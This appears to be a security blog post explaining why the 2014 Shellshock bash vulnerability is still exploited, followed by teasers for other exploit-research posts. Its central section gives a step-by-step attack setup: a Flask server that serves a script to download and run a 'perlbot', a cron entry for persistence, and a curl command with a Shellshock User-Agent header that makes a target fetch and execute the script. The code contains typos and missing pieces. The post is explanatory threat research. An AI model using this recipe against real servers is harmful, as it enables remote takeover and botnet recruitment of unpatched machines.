We have all heard of Shellshock. For those who are not aware, Shellshock is a Linux-targeting vulnerability that was discovered in late 2014 and published as CVE-2014-6271.

The exploit was found within the bourne-again shell (BASH), which was the default command shell on almost every Linux and Unix system back then. It enables attackers to execute commands with super-user privileges remotely.

Bargain Bin for Bad Actors

Since many applications rely on the BASH, the most common attack method is to send a command sequence to the web server to be interpreted with the BASH.

That said, why is Shellshock still in use? The answer is simple: It’s a very cheap attack. Although servers could have been patched for more than two years now, studies have shown that some remain vulnerable.

Attackers need only a server, basic programming skills and access to malware to carry out this type of attack. The level of knowledge and effort required is quite low. Fraudsters can simply launch attacks against hundreds of different IP addresses per minute and wait to hit a vulnerable server by chance. Furthermore, a Shellshock attack can be carried out for the low price of 4.95 euros, or just a little more than $5, a month.

Setting Up a Shellshock Attack

Let’s walk through the setup of an attacking server. First we need a web server to host our malicious code. We could set up our own Apache or lighthttp server. For this example, however, we will use some basic Python code — namely, Python Flask — just to speed up the setup phase of our attacking server.

On the main page, we will return a shell script that we would like to have executed on the target server, so we can always adjust our code without the need to change our attack script:

import flask

@app.route(“/”)

def main_site():

return ”’#/bin/bash

curl /perlbot > /usr/local/perlbot
chmod +x /usr/local/perbot
/usr/local/perlbot”’

The bash script is simple:

  1. Download the perbot from this server and save it to a certain path.
  2. Make the file executable.
  3. Execute it.

For the sake of persistence, we could add a line to execute our bot after every reboot. For example:

echo ” @reboot /usr/local/perlbot” > /etc/cron.d/daily

Now we need to get the target to execute this BASH script and prepare the statement to exploit the Shellshock vulnerability:

curl -H “User-Agent: () { :; }; curl > myscript.sh ; sh myscrypt.sh”

Curl will download the BASH script, save it as myscript.sh and execute it afterwards. The final step is to have a downloadable file to add a simple function to our web server:

@app.route(‘/perlbot’, methods=[‘GET’, ‘POST’])
def download(filename):
uploads = os.path.join(current_app.root_path, app.config[‘UPLOAD_FOLDER’])
return send_from_directory(directory=uploads, filename=”perlbot”)

Finally, we are done.

Simple Math

With some more scripting effort, you could easily execute the curl statement against a full network range, or even the whole internet, but it will take a while.

In the end, it is simple math. Statistics show that about 10 percent of all servers are not patched. So let’s say we can attack 1 million servers in six months. That equates to 100,000 bots at a price of 29.70 euros (about $31) — certainly cheap enough to be worth a cybercriminal’s time.

Read the X-Force Research Report: Beware of older cyber attacks

More from Software Vulnerabilities

Patch Tuesday -> Exploit Wednesday: Pwning Windows Ancillary Function Driver for WinSock (afd.sys) in 24 Hours

‘Patch Tuesday, Exploit Wednesday’ is an old hacker adage that refers to the weaponization of vulnerabilities the day after monthly security patches become publicly available. As security improves and exploit mitigations become more sophisticated, the amount of research and development required to craft a weaponized exploit has increased. This is especially relevant for memory corruption vulnerabilities.Figure 1 — Exploitation timelineHowever, with the addition of new features (and memory-unsafe C code) in the Windows 11 kernel, ripe new attack surfaces can…

Direct Kernel Object Manipulation (DKOM) Attacks on ETW Providers

Overview In this post, IBM Security X-Force Red offensive hackers analyze how attackers, with elevated privileges, can use their access to stage Windows Kernel post-exploitation capabilities. Over the last few years, public accounts have increasingly shown that less sophisticated attackers are using this technique to achieve their objectives. It is therefore important that we put a spotlight on this capability and learn more about its potential impact. Specifically, in this post, we will evaluate how Kernel post-exploitation can be used…

Dissecting and Exploiting TCP/IP RCE Vulnerability “EvilESP”

September’s Patch Tuesday unveiled a critical remote vulnerability in tcpip.sys, CVE-2022-34718. The advisory from Microsoft reads: “An unauthenticated attacker could send a specially crafted IPv6 packet to a Windows node where IPsec is enabled, which could enable a remote code execution exploitation on that machine.” Pure remote vulnerabilities usually yield a lot of interest, but even over a month after the patch, no additional information outside of Microsoft’s advisory had been publicly published. From my side, it had been a…

Self-Checkout This Discord C2

This post was made possible through the contributions of James Kainth, Joseph Lozowski, and Philip Pedersen. In November 2022, during an incident investigation involving a self-checkout point-of-sale (POS) system in Europe, IBM Security X-Force identified a novel technique employed by an attacker to introduce a command and control (C2) channel built upon Discord channel messages. Discord is a chat, voice, and video service enabling users to join and create communities associated with their interests. While Discord and its related software…